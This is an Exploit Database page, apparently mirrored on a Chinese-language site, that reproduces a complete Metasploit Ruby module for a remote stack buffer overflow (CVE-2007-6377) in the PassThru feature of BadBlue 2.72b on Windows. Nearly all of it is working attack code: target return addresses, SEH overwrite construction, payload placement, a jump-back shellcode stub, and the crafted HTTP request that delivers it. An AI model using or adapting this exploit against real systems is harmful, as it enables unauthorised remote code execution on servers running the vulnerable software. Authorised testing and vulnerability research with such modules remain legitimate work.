BadBlue 2.72b – PassThru Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-07-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16806/

• ##
  # $Id: badblue_passthru.rb 9744 2010-07-08 23:34:50Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
  	# However, a proper Server header is returned when requesting /index.html or using HEAD.
  	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the PassThru
  				functionality in ext.dll in BadBlue 2.72b and earlier.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9744 $',
  			'References' =>
  				[
  					['CVE', '2007-6377'],
  					['OSVDB', '42416'],
  					['BID', '26803'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
  					'StackAdjustment' => -3500,
  					#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'	=>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# This is the version being distributed on badblue.com as of Jul 7th 2010
  					[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
  					[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ] # pop/pop/ret from ??
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 10 2007'))
  	end
  
  	def exploit
  		seh_offset = 4116
  		sploit = Rex::Text.pattern_create(seh_offset)
  		# Need to jump over the nul byte
  		seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
  		sploit << seh
  
  		plen = payload.encoded.length
  		sploit[seh_offset - 16 - plen, plen] = payload.encoded
  
  		# This pointer will force a crash when it is used in a lock instruction
  		ptr = rand_text(3)
  		ptr << [0x80|rand(256)].pack('C')
  		sploit[seh_offset - 8,4] = ptr
  
  		# These two bytes get corrupted, so we can't use them.
  		sploit << rand_text(2)
  
  		# jump back to the payload
  		distance = 2 + 8 + 16 + plen
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
  
  
  		# Build the final URI
  		uri = "/ext.dll?mfcisapicommand=PassThru&"
  		uri << sploit
  
  		print_status("Trying target %s..." % target.name)
  		send_request_raw({ 'uri' => uri }, 5)
  
  		handler
  		disconnect
  	end
  
  end